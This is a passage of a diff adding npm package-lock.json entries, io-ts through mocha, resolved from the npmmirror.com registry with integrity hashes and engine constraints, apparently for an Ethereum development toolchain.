"sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/io-ts": { + "version": "1.10.4", + "resolved": "https://registry.npmmirror.com/io-ts/-/io-ts-1.10.4.tgz", + "integrity": "sha512-b23PteSnYXSONJ6JQXRAlvJhuw8KOtkqa87W4wDtvMrud/DTJd5X+NpOOI+O/zZwVq6v0VLAaJ+1EDViKEuN9g==", + "dev": true, + "dependencies": { + "fp-ts": "^1.0.0" + } + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "peer": true, + "dependencies": { + "has-bigints": "^1.0.1" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "peer": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hex-prefixed": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz", + "integrity": "sha512-WvtOiug1VFrE9v1Cydwm+FnXd3+w9GaeVUss5W4v/SLy3UW00vP+6iNF2SdnfiBoLy4bTqVdkftNGTUeOFVsbA==", + "dev": true, + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "peer": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "peer": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "peer": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true, + "peer": true + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "peer": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "peer": true + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==", + "dev": true, + "peer": true + }, + "node_modules/js-sha3": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/js-sha3/-/js-sha3-0.8.0.tgz", + "integrity": "sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==", + "dev": true, + "peer": true + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "dev": true, + "peer": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "peer": true + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "peer": true + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonschema": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/jsonschema/-/jsonschema-1.4.1.tgz", + "integrity": "sha512-S6cATIPVv1z0IlxdN+zUk5EPjkGCdnhN4wVSBlvoUO1tOLJootbo9CquNJmbIh4yikWHiUedhRYrNPn1arpEmQ==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/jsprim": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/jsprim/-/jsprim-1.4.2.tgz", + "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", + "dev": true, + "peer": true, + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/keccak": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/keccak/-/keccak-3.0.2.tgz", + "integrity": "sha512-PyKKjkH53wDMLGrvmRGSNWgmSxZOUqbnXwKL9tmgbFYA1iAYqW21kfR7mZXV0MlESiefxQQE9X9fTa3X+2MPDQ==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "node-addon-api": "^2.0.0", + "node-gyp-build": "^4.2.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/klaw": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/klaw/-/klaw-1.3.1.tgz", + "integrity": "sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.9" + } + }, + "node_modules/level": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/level/-/level-8.0.0.tgz", + "integrity": "sha512-ypf0jjAk2BWI33yzEaaotpq7fkOPALKAgDBxggO6Q9HGX2MRXn0wbP1Jn/tJv1gtL867+YOjOB49WaUF3UoJNQ==", + "dev": true, + "dependencies": { + "browser-level": "^1.0.1", + "classic-level": "^1.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/level-supports": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/level-supports/-/level-supports-4.0.1.tgz", + "integrity": "sha512-PbXpve8rKeNcZ9C1mUicC9auIYFyGpkV9/i6g76tLgANwWhtG2v7I4xNBUlkn3lE2/dZF3Pi0ygYGtLc4RXXdA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/level-transcoder": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/level-transcoder/-/level-transcoder-1.0.1.tgz", + "integrity": "sha512-t7bFwFtsQeD8cl8NIoQ2iwxA0CL/9IFw7/9gAjOonH0PWTTiRfY7Hq+Ejbsxh86tXobDQ6IOiddjNYIfOBs06w==", + "dev": true, + "dependencies": { + "buffer": "^6.0.3", + "module-error": "^1.0.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "dev": true, + "peer": true, + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==", + "dev": true, + "dependencies": { + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", + "dev": true, + "peer": true + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmmirror.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true, + "peer": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loupe": { + "version": "2.3.4", + "resolved": "https://registry.npmmirror.com/loupe/-/loupe-2.3.4.tgz", + "integrity": "sha512-OvKfgCC2Ndby6aSTREl5aCCPTNIzlDfQZvZxNUrBrihDhL3xcrYegTblhmEiCrg2kKQz4XsFIaemE5BF4ybSaQ==", + "dev": true, + "peer": true, + "dependencies": { + "get-func-name": "^2.0.0" + } + }, + "node_modules/lru_map": { + "version": "0.3.3", + "resolved": "https://registry.npmmirror.com/lru_map/-/lru_map-0.3.3.tgz", + "integrity": "sha512-Pn9cox5CsMYngeDbmChANltQl+5pi6XmTrraMSzhPmMBbmgcxmqWry0U3PGapCU1yB4/LqCcom7qhHZiF/jGfQ==", + "dev": true + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true, + "peer": true + }, + "node_modules/markdown-table": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/markdown-table/-/markdown-table-1.1.3.tgz", + "integrity": "sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q==", + "dev": true, + "peer": true + }, + "node_modules/mcl-wasm": { + "version": "0.7.9", + "resolved": "https://registry.npmmirror.com/mcl-wasm/-/mcl-wasm-0.7.9.tgz", + "integrity": "sha512-iJIUcQWA88IJB/5L15GnJVnSQJmf/YaxxV6zRavv83HILHaJQb6y0iFyDMdDO0gN8X37tdxmAOrH/P8B6RB8sQ==", + "dev": true, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/md5.js": { + "version": "1.3.5", + "resolved": "https://registry.npmmirror.com/md5.js/-/md5.js-1.3.5.tgz", + "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", + "dev": true, + "dependencies": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" + } + }, + "node_modules/memory-level": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/memory-level/-/memory-level-1.0.0.tgz", + "integrity": "sha512-UXzwewuWeHBz5krr7EvehKcmLFNoXxGcvuYhC41tRnkrTbJohtS7kVn9akmgirtRygg+f7Yjsfi8Uu5SGSQ4Og==", + "dev": true, + "dependencies": { + "abstract-level": "^1.0.0", + "functional-red-black-tree": "^1.0.1", + "module-error": "^1.0.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/memorystream": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/memorystream/-/memorystream-0.3.1.tgz", + "integrity": "sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw==", + "dev": true, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "peer": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "peer": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "node_modules/minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", + "dev": true, + "peer": true + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "peer": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mnemonist": { + "version": "0.38.5", + "resolved": "https://registry.npmmirror.com/mnemonist/-/mnemonist-0.38.5.tgz", + "integrity": "sha512-bZTFT5rrPKtPJxj8KSV0WkPyNxl72vQepqqVUAW2ARUpUSF2qXMB6jZj7hW5/k7C1rtpzqbD/IIbJwLXUjCHeg==", + "dev": true, + "dependencies": { + "obliterator": "^2.0.0" + } + }, + "node_modules/mocha": { + "version": "10.0.0", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-10.0.0.tgz", + "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==", + "dev": true, + "dependencies": { + "@ungap/promise-all-settled": "1.1.2", + "ansi-colors": "4.1.1", + "browser-stdout": "1.3.1", + 